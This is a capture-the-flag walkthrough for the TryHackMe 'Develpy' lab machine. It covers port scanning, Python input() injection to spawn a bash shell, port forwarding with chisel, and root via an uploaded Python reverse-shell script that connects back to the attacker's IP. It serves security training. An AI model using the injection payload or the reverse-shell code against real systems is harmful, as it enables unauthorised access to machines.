Develpy

Enumeration


Link: https://tryhackme.com/room/bsidesgtdevelpy

Author: https://tryhackme.com/p/stuxnet

Host: 10.10.36.158


Let’s start with a rustscan again the machine (as always) to quickly enumerate open ports.

┌──(root💀b0x)-[~/THM/Develpy]       
└─# rustscan -a 10.10.36.158 --ulimit 5000 -b 4500 -- -sC -sV                                               
The Modern Day Port Scanner.                                                                             
________________________________________                                                                 
: https://discord.gg/GFrQsGy           :                                                                 
: https://github.com/RustScan/RustScan :                                                                 
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.36.158:22
Open 10.10.36.158:10000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

...

PORT      STATE SERVICE           REASON         VERSION
22/tcp    open  ssh               syn-ack ttl 60 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeAB1tAGCfeGkiBXodMGeCc6prI2xaWz/fNRhwusVEujBTQ1BdY3BqPHNf1JLGhqts1anfY9ydt0N1cdAEv3L16vH2cis+34jyek3d+TVp+oBLztNWY5Yfcv/3uRcy5yyZsKjMz+wyribpEFlbpvscrVYfI2Crtm5CgcaSwqDDt
c1doeABJ9t3iSv+7MKBdWJ9N3xd/oTfI0fEOdIp8M568A1/CJEQINFPVu1txC/HTiY4jmVkNf6+JyJfFqshRMpFq2YmUi6GulwzWQONmbTyxqrZg2y+y2q1AuFeritRg9vvkBInW0x18FS8KLdy5ohoXgeoWsznpR1J/BzkNfap
|   256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDGGFFv4aQm/+j6R2Vsg96zpBowtu0/pkUxksqjTqKhAFtHla6LE0BRJtSYgmm8+ItlKHjJX8DNYylnNDG+Ol/U=
|   256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbypBoQ33EbivAc05LqKzxLsJrTgXOrXG7qG/RoO30K
10000/tcp open  snet-sensor-mgmt? syn-ack ttl 60
| fingerprint-strings: 
|   GenericLines: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in <module>
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "<string>", line 1, in <module>
|     NameError: name 'OPTIONS' is not defined
|   NULL: 
|     Private 0days
|_    Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.91%I=7%D=4/23%Time=6082A08F%P=x86_64-pc-linux-gnu%r(N
SF:ULL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")%
SF:r(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\
SF:r\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?
SF:\?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File
SF:\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20<module>\r\n\x20\x20\x20
SF:\x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x2
SF:0of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"<strin
SF:g>\",\x20line\x201,\x20in\x20<module>\r\nNameError:\x20name\x20'GET'\x2
SF:0is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x20
...

Interesting stuff, it seems there’s a service listening on port 10000/tcp on the host which is running a python script on its backend. Let’s check it out.

Port 10000 - Python Server

Let’s try connecting to it with nc

┌──(root💀b0x)-[~/THM/Develpy]                      
└─# nc 10.10.36.158 10000                                                                                                                                                                                          
                                                    
        Private 0days                          
                                                                                                         
 Please enther number of exploits to send??: ls
Traceback (most recent call last):                                                                       
  File "./exploit.py", line 6, in <module>
    num_exploits = int(input(' Please enther number of exploits to send??: '))
  File "<string>", line 1, in <module>              
NameError: name 'ls' is not defined

We can see that it’s calling input function on the input recieved by the user. There’s an exploitation guide out there on this, I’ll leave it to you to research that, I’ll still manually go through the exploitation phase rather than copy/pasting the final one-liner for command execution.

Let’s try sending what it’s expecting, a number!

┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000

        Private 0days

 Please enther number of exploits to send??: 2

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.074 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.08 ms

Sending 2, we can see that it’s pinging tryhackme.com host against the number two times (because of 2?). Let’s try passing 2+2 and see if it evaluates that (to 4)?

┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000

        Private 0days

 Please enther number of exploits to send??: 2+2

Exploit started, attacking target (tryhackme.com)...
Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.034 ms
Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.088 ms
Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.014 ms
Exploiting tryhackme internal network: beacons_seq=4 ttl=1337 time=0.019 ms

Awesome! 4 tries now! Maybe try something like printing something?

┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000

        Private 0days

 Please enther number of exploits to send??: print(1)
Traceback (most recent call last):
  File "./exploit.py", line 6, in <module>
    num_exploits = int(input(' Please enther number of exploits to send??: '))
  File "<string>", line 1
    print(1)
        ^
SyntaxError: invalid syntax

Passing that, we get the above error^ Let’s try passing a string:

┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000

        Private 0days

 Please enther number of exploits to send??: test
Traceback (most recent call last):
  File "./exploit.py", line 6, in <module>
    num_exploits = int(input(' Please enther number of exploits to send??: '))
  File "<string>", line 1, in <module>
NameError: name 'test' is not defined

The error "NameError: name 'test' is not defined" only occurs when some module or variable is being called! Let’s try and import a module?

┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000

        Private 0days

 Please enther number of exploits to send??: import os
Traceback (most recent call last):
  File "./exploit.py", line 6, in <module>
    num_exploits = int(input(' Please enther number of exploits to send??: '))
  File "<string>", line 1
    import os
         ^
SyntaxError: invalid syntax

Exploitation

Most probably spaces are the issue here! Let’s try and import the module pty without spaces and call its method spawn to spawn a /bin/bash shell. We can find a guide here to do so.

__import__('pty').spawn("/bin/bash")

Let's send it to the `server`:
┌──(root💀b0x)-[~/THM/Develpy]
└─# nc 10.10.36.158 10000

        Private 0days

 Please enther number of exploits to send??: __import__('pty').spawn("/bin/bash")
king@ubuntu:~$ id
id
uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)

Awesome! We've gotten the `initial` shell as user **king**.

Privileges Escalation

Now, for privileges escalation, we can see 2 .sh files in the user directory. Let’s go through their contents:

root.sh

king@ubuntu:~$ cat root.sh
python /root/company/media/*.py

run.sh

king@ubuntu:~$ cat run.sh
#!/bin/bash
kill cat /home/king/.pid
socat TCP-LISTEN:10000,reuseaddr,fork EXEC:./exploit.py,pty,stderr,echo=0 &
echo $! > /home/king/.pid

Alright, so root.sh is owned and only readable/writeable by root while we can read/write to run.sh which is no good since it is the server which was calling the python service we exploited to get the interactive shell.

Enumerating more, we can see the cronjobs in the machine:

king@ubuntu:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*  *    * * *   king    cd /home/king/ && bash run.sh
*  *    * * *   root    cd /home/king/ && bash root.sh
*  *    * * *   root    cd /root/company && bash run.sh
#

We can see that **run.sh is being run as king** while **root.sh in our directory and run.sh in root user’s company directory is being called by user root**. But how to access those? We don’t have read access to /root/ either!

Enumerating even more, we can see that there’s a port 8080/tcp listening locally:

king@ubuntu:~$ netstat -plnt
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:10000           0.0.0.0:*               LISTEN      756/socat       
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -               

Cool, we can forward this port to our host and access it using chisel. Let’s do it!

I’ll leave the downloading and pushing of chisel binary to you. We’ll need a local copy of chisel on our host (attcker) depending on our OS and a copy of chisel compiled for x64 for the server (victim).

Victim:

king@ubuntu:~$ ./chisel-umar0x01 server -p 47000 

Attacker:

┌──(root💀b0x)-[/var/www/html]
└─# ./chisel-umar0x01 client 10.10.36.158:47000 2222:127.0.0.1:8080                                                                                                                                          130

Awesome, let’s run and see if our connection establishes.

Cool, the port is forwarded, let' try accessing it locally at 127.0.0.1:2222


We’ve a upload page here, remember the contents of root.sh file in our directory? It was calling *.py files from **root user's media directory**, maybe we can upload our .py file here and get reverse shell as root user? Let’s try that!

I’ll first add the following in my local python file for reverse shell:

┌──(root💀b0x)-[~/THM/Develpy]
└─# cat > test.py        
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.17.0.120",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

Let’s upload the test.py file now to the server:

Let’s start the local listener and wait for a minute:

Awesome! `We’re root! Thanks for reading the walkthrough. Hopefully you enjoyed it 🥂


Todos (Things learnt):

  • Enumerate manually before running any noisy local enumeration tool
  • Think outside the box
  • Never hesitate to forward ports (thinking it’ll take time)!